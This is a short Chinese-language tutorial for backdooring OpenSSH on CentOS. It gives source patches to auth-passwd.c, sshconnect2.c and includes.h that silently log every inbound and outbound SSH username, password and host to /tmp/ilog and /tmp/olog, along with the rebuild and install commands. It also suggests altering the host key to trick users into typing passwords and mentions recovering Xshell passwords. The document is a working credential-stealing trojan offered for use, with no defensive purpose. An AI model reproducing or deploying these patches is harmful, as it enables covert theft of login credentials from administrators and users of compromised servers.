OpenSSH萬能後門
基本上兼容任何版本。 以下爲Centos7
查看當前SSH版本
下載相同版本的OpenSSH
解壓tar -zxvf openssh
修改 auth-passwd.c
添加這一行~
logit("username: %s password: %s", authctxt->user, password);
編譯OpenSSH
修改權限/etc/ssh/下的
chmod 620 moduli
chmod 600 sshd_config ssh_host_ecdsa_key ssh_host_rsa_key
chmod 644 ssh_config ssh_host_ecdsa_key.pub ssh_host_rsa_key.pub
安裝環境編譯運行
yum install -y openssl openssl-devel pam-devel zlib zlib-devel gcc
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install
重啓服務
systemctl restart sshd.service
完成
如果有不要慌。。改一下權限爲600就好了
這樣就可以記錄密碼了~
記錄連接密碼
auth-passwd.c
auth_password(Authctxt *authctxt, const char *password){
//這下面加入
if((f=fopen(ILOG,"a"))!=NULL){
fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
fclose(f);
}
如果想記錄本機連接其他ssh的密碼可以加這些
sshconnect2.c
password = read_passphrase(prompt, 0);//這下面加入
if((f=fopen(OLOG,"a"))!=NULL){
fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
fclose(f);
}
includes.h
#include "entropy.h" //這下面加入
FILE *f;
#define ILOG "/tmp/ilog"
#define OLOG "/tmp/olog"
注:可以嘗試把私鑰改一個值=。=這樣就可以騙用戶輸入ssh密碼登錄了~
Centos SSH日誌是 /var/log/secure
Ubuntu SSH日誌是 /var/log/auth.log
我的服務器使用的是Ubuntu的系統安裝的是OpenSSH_7.5p1
也可以正常捕獲到,可以用來解密Xshell的密碼~